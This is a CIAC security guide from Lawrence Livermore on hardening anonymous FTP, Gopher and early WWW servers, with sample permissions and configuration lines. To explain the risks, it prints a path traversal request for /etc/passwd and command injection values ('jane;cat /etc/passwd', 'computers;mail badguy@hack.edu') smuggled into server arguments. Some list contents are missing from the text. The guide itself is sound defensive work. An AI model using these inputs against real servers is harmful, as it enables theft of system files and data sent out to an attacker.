CIAC-2308 R.3
UCRL-MA-118453
by the Members of the CIAC Team
December, 1994 (Revised August, 2000)
This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes.
Reference to any specific commercial product does not necessarily constitute or imply its endorsement, recommendation or favoring by CIAC, the University of California, the United States Department of Energy, or the United States Government.
Work performed under the auspices of the U. S. Department of Energy by Lawrence Livermore National Laboratory under Contract W-7405-Eng-48.
As the Internet rapidly becomes populated with increasingly easy-to-use information servers (such as FTP, Gopher, and the World Wide Web (WWW)), users around the world are distributing a staggering amount of data. The information servers make it easy for users to provide information to colleagues, friends, and the general public. Organizations, businesses, and individuals are creating access to information that has never before been available.
Information server technology certainly benefits users; however, information providers should address several aspects of information sharing to assure the security of the information they distribute. The need to secure information servers is very real. For example:
Organizations have reported significant damage. In one case, an intruder compromised the primary distribution server for a popular network software package and installed a "back door" in the package. The back door allowed intruders to easily compromise any site that installed the modified package. Fortunately, the system administrators were carefully monitoring the integrity of the distribution and the incident was discovered in less than 24 hours. Even so, users around the world had retrieved hundreds of copies, and administrators had to notify each user of the problem.
Specific configuration recommendations for FTP, Gopher, and WWW servers are presented in subsequent sections of this document. However, CIAC recommends these general guidelines for establishing any type of information server:
The File Transfer Protocol, or FTP, is the basis for the oldest and most common type of information server on the Internet, the anonymous FTP server. Anonymous FTP servers allow unauthenticated access to a portion of a host's file system. The server software allows remote users to retrieve files and occasionally it allows file uploads or even more advanced operations, such as index searches and file compression.
These servers are often used to distribute software packages and documents. For example, this document is available from the anonymous FTP server "ciac.llnl.gov".
Anonymous FTP servers exhibit several vulnerabilities. These are:
CIAC recommends users consider the following guidelines when setting up an FTP configuration:
Follow these steps to create a new FTP server:
Examples of system password file and system group file additions are:
--------------------------------------------------------
| System password file:
|
| prompt% cat /etc/passwd
| :
| ftp:*:300:300:Anonymous FTP:/home/ftp:/bin/false
| :
|
| System group file:
|
| prompt% cat /etc/group
| :
| ftp::300:
| :
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp
| dr-xr-xr-x 8 root ftp 512 Jun 21 11:28 ftp
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp/etc
| dr--x--x--x 8 root ftp 512 Jun 21 11:30 etc
--------------------------------------------------------
Note: These modified files should contain as little information as possible from the original password and group files. In particular, the modified files should never contain the encrypted password field for a user.
These examples show modified system password and group files:
--------------------------------------------------------
| Modified system password file:
|
| prompt% cat ~ftp/etc/passwd
| root:*:0:1:Super User:/:/bin/false
| ftp:*:300:300:FTP Administrator:/:/bin/false
| sources:*:400:400:Source Manager:/:/bin/false
|
| Modified system group file:
|
| prompt% cat ~ftp/etc/group
| daemon::1:
| ftp::300:
| sources::400:
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lg ~ftp/etc
| -r--r--r-- 8 root ftp 52 Jun 21 11:28 group
| -r--r--r-- 8 root ftp 109 Jun 21 13:12 passwd
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp/bin
| d--x--x--x 8 root ftp 512 Jun 21 11:30 bin
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lg ~ftp/bin
| ---x--x--x 8 root ftp 13352 Jun 20 14:02 ls
--------------------------------------------------------
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp/pub
| dr-xr-xr-x 8 root ftp 512 Jun 21 11:40 pub
--------------------------------------------------------
Many SunOS commands, including 'ls', use shared libraries at runtime. You will need to install the appropriate shared libraries in the anonymous FTP area to allow these SunOS commands to work.
Follow these steps to install the SunOS libraries:
--------------------------------------------------------
| prompt% cd ~ftp/dev
| prompt% mknod zero c 3 12
--------------------------------------------------------
Network intruders often exploit directories that are writable by anonymous users. If your server requires a writable area, configure it securely. The following guidelines are important in creating a writable area directory:
This configuration will allow anonymous users to create new files in the directory, but will not allow them to overwrite or delete existing files or view the contents of the directory.
A sample incoming directory set-up looks like this:
--------------------------------------------------------
| prompt% mkdir ~ftp/incoming
| prompt% chown root ~ftp/incoming
| prompt% chgrp ftp ~ftp/incoming
| prompt% chmod 1733 ~ftp/incoming
| prompt% ls -lgd ~ftp/incoming
| drwx-wx-wt 8 root ftp 512 Jun 21 11:45 incoming
--------------------------------------------------------
Several replacement FTP servers available in the public domain provide additional features to those typically found in standard vendor FTP server software. Features that improve FTP server security are often available this way. For example, the Washington University FTP server allows some commands, such as "RENAME" or "DELETE," to be disabled for anonymous users. This server also allows increased system-level control of the files uploaded by anonymous users by limiting writable locations, file permissions, and allowed filenames.
Appendix A provides additional information on the sources and features of public domain FTP servers.
Gopher servers are newer to the Internet than FTP servers. Gopher servers have several advantages over the FTP servers. These include:
However, these advantages, combined with the relatively new development stage of the software, create the potential for increased risk to the machines and associated systems running gopher software.
Gopher servers exhibit several vulnerabilities. These include:
For example, some older gopher servers would accept requests for the file '../../../../../../../etc/passwd', thus bypassing the server software checks that normally restrict file access to files contained in the gopher directory and instead returning the system password file.
Remote users could then search for weak passwords and compromise the entire system.
As an example, a gopher server is configured to call the "finger" program with one user-supplied argument, i.e., the name of the account to finger. If the user specified the account 'jane', the gopher daemon would pass the string 'finger jane' to the Unix command interpreter.
However, if the user supplied the account 'jane;cat /etc/passwd', the server would pass the string 'finger jane;cat /etc/passwd' to the system. Because the semi-colon is used to separate multiple commands on the same line, the system would finger 'jane' AND display the contents of the system password file.
This section describes several configuration options that will limit the vulnerability of your gopher system.
These gopher versions are available via anonymous FTP server " ftp://boombox.micro.umn.edu/pub/gopher/Unix/".
Note: If you use the '-c' option, any vulnerability in the gopher software will allow an intruder to access all files on the system.
Note: If you do not use the '-u' option, the server will run as the superuser, and any intruder able to compromise the server software will have privileged access to the system.
Use a non-privileged user name, for example:
--------------------------------------------------------
| /usr/local/etc/gopherd -u nobody
--------------------------------------------------------
An example of the '-l' command line option looks like this:
--------------------------------------------------------
| /usr/local/etc/gopherd -u nobody -l /usr/adm/gopherlog
--------------------------------------------------------
Note: Using the same directories for gopher and anonymous FTP servers can allow users to upload executable files with FTP; users can then execute the files via gopher.
The most recent development on the Internet is the astonishing proliferation of World Wide Web (WWW) information servers. These servers offer many advantages, including:
These advantages have helped the WWW become the fastest growing information service on the Internet. However, these advantages--in similar fashion to those of gopher servers--combined with the new and untested nature of the server software, introduce the potential for compromise of the server and the information contained on it.
The principal network protocol used on the WWW is the HyperText Transfer Protocol (HTTP), that allows access to documents using HyperText Mark-Up Language (HTML). HTTP servers are available for many operating systems, including Unix, VMS, Macintosh, and PC systems.
Server vulnerabilities vary from operating system to operating system. However, two general areas of vulnerability potentially affect all WWW servers. These are:
Several installation and configuration options are available that will lessen the chances of your WWW server being subverted. Because versions of HTTP servers are available for many operating systems, the configuration solutions recommended in this section are presented in a general format. Consult the documentation for your specific server to develop these configurations in more detail.
This section describes several configuration options that will limit the vulnerability of your WWW server.
For example, with the NCSA HTTP server, the following configuration lines in the 'conf/httpd.conf' configuration instruct the server to run with the access privileges of user "nobody" and group "nogroup":
--------------------------------------------------------
| User nobody
| Group nogroup
--------------------------------------------------------
Note: To prevent access to sensitive files by intruders via HTML, you can usually turn off the "include files" feature for specific directories.
For example, the following configuration commands in the configuration file 'conf/access.conf' instruct the NCSA HTTP server to disallow included files in HTML documents found in user home directories under '/home':
--------------------------------------------------------
|
| AllowOveride None
| Options Indexes
|
--------------------------------------------------------
--------------------------------------------------------
| searchindex $ARG
--------------------------------------------------------
If '$ARG' is set to 'computers;mail badguy@hack.edu', the line sent to the shell would actually look like this:
--------------------------------------------------------
| searchindex computers;mail badguy@hack.edu
Two commands would be executed:
Note: To prevent CGI script compromise, avoid passing remote user input directly to command interpreters such as Unix shells, other interpreters such as Perl and AWK, or programs that allow commands to be embedded in outgoing messages, such as '/usr/ucb/mail'.
If user input must pass to these types of programs, filter the input for potentially dangerous characters before it is passed along. These characters include the period (.), comma (,), slash (/), semi-colon (;), tilde (~), and exclamation point (!).
Here is an example of such a system call:
--------------------------------------------------------
| chroot (/usr/local/httpd)
--------------------------------------------------------
This call would make the directory '/usr/local/httpd' appear as '/' to the program. An intruder to this restricted file system would only have access to files below this directory, thus significantly reducing potential damage to the system.
To execute network daemons such as HTTP servers in this type of restricted environment, you can use a public domain package called 'chrootuid'. The package is available via anonymous FTP from the address "ftp://ftp.win.tue.nl/pub/security".
The author used the references listed below to develop the information contained in this document.
This appendix summarizes the
features and locations of several public domain software packages
mentioned in this document.
The Washington University server is the most popular software
replacement for vendor supplied FTP daemons. The software has
several additional features that facilitate the handling of large
numbers of anonymous FTP connections; some of these features are
also useful for enhancing the security of the server.
Supported features include:
The Washington
University software is available via anonymous FTP from
"wuarchive.wustl.edu" in the directory
'/packages/wuarchive-ftpd'.
The primary location for Gopher server
software is the anonymous FTP site
"boombox.micro.umn.edu" in the directory '/pub/gopher'.
Servers are available for several platforms, including Unix,
Macintosh, and PC systems.
Several HTTP servers are available for a variety of host
platforms. HTTP servers include:
This server is available via anonymous FTP from "ftp.ncsa.uiuc.edu" in the directory '/Web/httpd'.
This server is available for Unix and VMS systems from "http://www.w3.org/".
For more information, see the WWW page "http://hopf.math.nwu.edu/".
The "chrootuid" package simplifies the task of running a program (such as an information server) with restricted file system access and as a nonprivileged user.
The software is available via anonymous FTP from "ftp://ftp.cerias.purdue.edu/" in the directory '/pub/tools/unix/sysutils/chrootuid'.
The Security Profile Inspector (SPI) tool performs security assessments of Unix and VMS-based systems, reporting system configuration vulnerabilities, bad passwords, and violations of system file integrity. Of particular interest to information server administrators, the SPI tool will maintain a database of secure checksums for specified system directories and will alert the administrator to any changes to the contents of those directories.
For further information, call the SPI project lead at (925) 422-3963
The Tripwire tool will monitor the integrity of a set of
user-selected files and directories on a Unix system. The tool
will detect and report to the system administrator any changes,
additions, or deletions to these files.
Tripwire is available via anonymous FTP from "ftp://ftp.cerias.purdue.edu/" in the directory '/pub/tools/unix/Tripwire'.
Phone (925) 422-8193 Fax (925) 423-8002 STU-III (925) 423-2604 Electronic mail ciac@llnl.gov Emergency SKYPAGE (888) 449-8369 Anonymous FTP serve ciac.llnl.gov (IP 134.9.214.4) BBS (925) 423-3331 (9600 Baud) (925) 423-4753 (2400 Baud)
READER COMMENTS
CIAC updates and enhances the
documentation it produces. If you find errors in or have
suggestions to improve this document, please fill out this form.
Mail it to CIAC, Lawrence Livermore National Laboratory, P.O. Box
808, Mail Stop L-303, Livermore, CA, 94551-9900. Thank you.
List errors you find here. Please include page numbers.
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
List suggestions for improvement here.
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
Optional:
Name _____________________________________________ Phone
______________
Securing Internet Information Servers CIAC-2308 R.3 December,
1994 (Revised August, 2000)
UCRL-MA-118453 [CIAC Home Page] [Disclaimer]
Last modified: Wednesday, 18-Oct-2000 16:00:21 PDT CIAC Documents / CIAC / webmaster@ciac.llnl.gov